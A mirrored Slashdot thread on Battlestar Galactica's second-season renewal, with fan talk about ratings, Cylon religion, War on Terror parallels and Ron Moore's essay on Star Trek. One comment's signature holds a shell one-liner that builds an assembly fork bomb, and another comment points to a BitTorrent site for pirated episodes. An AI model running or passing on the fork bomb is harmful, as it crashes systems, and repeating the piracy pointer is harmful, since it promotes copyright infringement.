Slashdot Mirror
Sci-Fi Channel Renews Battlestar Galactica
Chairboy writes "The Sci-Fi Channel has just announced the renewal of Battlestar Galactica for a second season. The creator of the show has announced that the second season will delve into the religious issues surrounding the Cylons in addition to opening up their society more. The latest episode had 3.2 million viewers, almost twice as many as watched the latest episode of Star Trek Enterprise." I said it before, and I'll say it again- this is the best Sci Fi program currently airing, so I'm happy to see more.
I don't get it, how is 3.2 millions almost twice the 2 StarTrek fans?
I don't suffer from insanity, I enjoy every minute of it.
Being in the UK I have seen all 13 episodes, the ending of season 1 is amazing, total shocker.
Jonathan
I hope the fire the cameraman at least. Judging from all the swaying, he's apparently drunk all the time at work.
I also don't like the cheap soap opera-esque quick switching between face shots. A few seconds of one face at full screen and then switch to another and then back. Very annoying.
Bittorrent. Here: www.btefnet.com.
They're on the UK schedule so you can download the first 13 episodes at very high quality. (I hook it up to my 48" TV @ 640X480 and looks as good as Direct TV).
I live in Panama, so it's not like I can get it any other way.
There are two kinds of people in the world: Those with good memory.
Why? The humanoid cylons are almost indistinguishable from us, it's not unreasonable they'd have some kind of religion.
Religion is inevitable if you are self aware and mortal I reckon - it's a myth that makes dying a more palatable prospect.
Some spoilers below
Actually the thing I liked about the series was the idea that it is clearly inspired by the War On Terror. There are scenes where cylons do suicide bombings, claim that the humans 'worship idols' and explain that they don't fear death because their soul will get downloaded to a new body. It's not quite 72 virgins but it's close.
And fighting such an implacable enemy has a corrosive effect on human society too - look at the torture scene, or the way the military gradually seems to be gradually taking over. They even need to shoot down a 'hijacked' ship, which may or may not contain civilians just after the cylons devastating 9/11 style suprise attack.
And the nice thing about the series is that it seems to be generally interested in exploring this stuff with relatively rounded characters rather than settling for two dimensional 'good' and 'bad' characters like most sci fi.
So the religious stuff is pretty key to the appeal of the show.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
UPN has dreams of becoming the next FOX or ABC or something. They're a long way from it, but their goal/hope is to compete with and dominate the other networks. Advertisers will judge a UPN show on how much of UPN's potential audience it gets. StarTrek failed on both counts for them. If the SciFi Channel comes up with a hit as big as the Sopranos or something, they'll be happy, of course, but no-one over there is seriously expecting that to happen, while at UPN, the suits will want to know why it isn't happening ...
The immediate future of television SciFi is niche channels. The staple of good SciFi is great special effects. Every year, it gets cheaper and cheaper to make effects that are better and better. The original BSG took the budget of a major network to put out. Now, a smallish cable channel can do a better job cheaper.
When creating StarWars level special effects becomes as cheap as putting together the set for Seinfeld or Friends, I predict SciFi will return to the major networks. On shows like this, the cost of some old furniture, some cereal boxes, etc. was hardly anything and most of the money went to the actors.
It's too bad Ron Moore wasn't involved with Enterprise, because Moore could have turned Enterprise into a potentially great series. :-(
On what might have been, Moore posted his interesting view on Enterprise (and Star Trek in general) at his blog:
Trek goes back to the Fans
Now that Enterprise has been cancelled, we're about to enter a period not seen since the orignal series ended its run just a few weeks before Apollo 11 landed on the moon: a time without a Star Trek film or TV project on the horizon. From the reaction I've seen thus far, the consensus view seems to be that this is merely a pause in the trek, and that before too long, we'll be talking about the newest take on Roddenberry's universe, be it television, feature, animation or sock puppet. I tend to agree, insofar as I know first hand that Viacom considers "the Franchise" to be one of their crown jewels and I've personally heard them refer to the "next fifty years of Star Trek" as a corporate priority.
So Star Trek isn't dead and it isn't dying. It has, however, entered into an interregnum, a pause in the treadmill of overlapping productions that have become the norm for the series that was once considered "too cerebral for television."
Certainly there is sadness in this news. There has been a Star Trek production either in prep or being filmed on Stages 8 & 9 on the Paramount lot since 1977, when Star Trek: Phase Two began initial construction for a second series featuring all the original characters but Spock (these sets were then revamped for Star Trek: The Motion Picture). An entire infrastructure has been built around the productions, staffed by people whose involvement in the Franchise goes back over two decades. The dedication, passion, and talent of these artisans and craftsmen cannot be overstated. The unsung heroes of Trek, the people who sweat every detail, who take the time to think through continuity and try to make the vast universe consistent, people like Mike and Denise Okuda, Dave Rossi, Michael Westmore, Herman Zimmerman, Bob Blackman, and many others, are about to leave and take with them an enormous body of knowledge and talent that cannot be and will not be replicated again. That is cause for both tears and eulogies as the close of Enterprise signals the true end of an era.
However, there is another side of this story, one that perhaps is somewhat more hopeful and positive: Star Trek has now been returned to the care of its community of fans.
I say returned because there was a time when the fans were the exclusive owners and operators of what would later become the Franchise. From 1969 until 1979, a genuine grassroots movement of fans gathered together in conventions, published newsletters (in the primordial ooze of the pre-internet era, no less), wrote scads of fan fiction, created their own props and uniforms, and dreamed the dream of what it was to live aboard the good ship Enterprise.
I was one of those fans; I was a kid growing up in the 1970's who found Star Trek in strip syndication and bought every book and magazine I could lay my hands on and every piece of fan merchandise I could con my parents into buying and I can tell you that some of those efforts were abysmal and some were brilliant, but all of them were driven by a sense of passion rooted in a belief that Trek was our secret club. We, the fans, embroidered the Trek tapestry while the powers that be at Paramount dawdled. In those years, the best stories told not those written by Gene or any other "professional writers" (no offense to the short-lived, but well intentioned animated series), but by people like Sondra Marshak, Myrna Culbreath, and Jacqueline Lichtenberg. Who are they? Fans. People who loved Star Trek and were able to breath life into it during the interregnum between the show and the Franchise.
Star Trek now returns to the care of its fans and its fans can decide for themselves what kind of experie
"More human than Human."
Indeed, the Cylons feel that they are "Human 2.0" and therefore have as much problem genociding humanity as we would have, say, stepping on a cockroach.
I think the Cylons in this new Galactica series are showing the strain of their human roots. Keep watching...
Be who you are and say what you feel, because the people who mind don't matter, and the people who matter don't mind.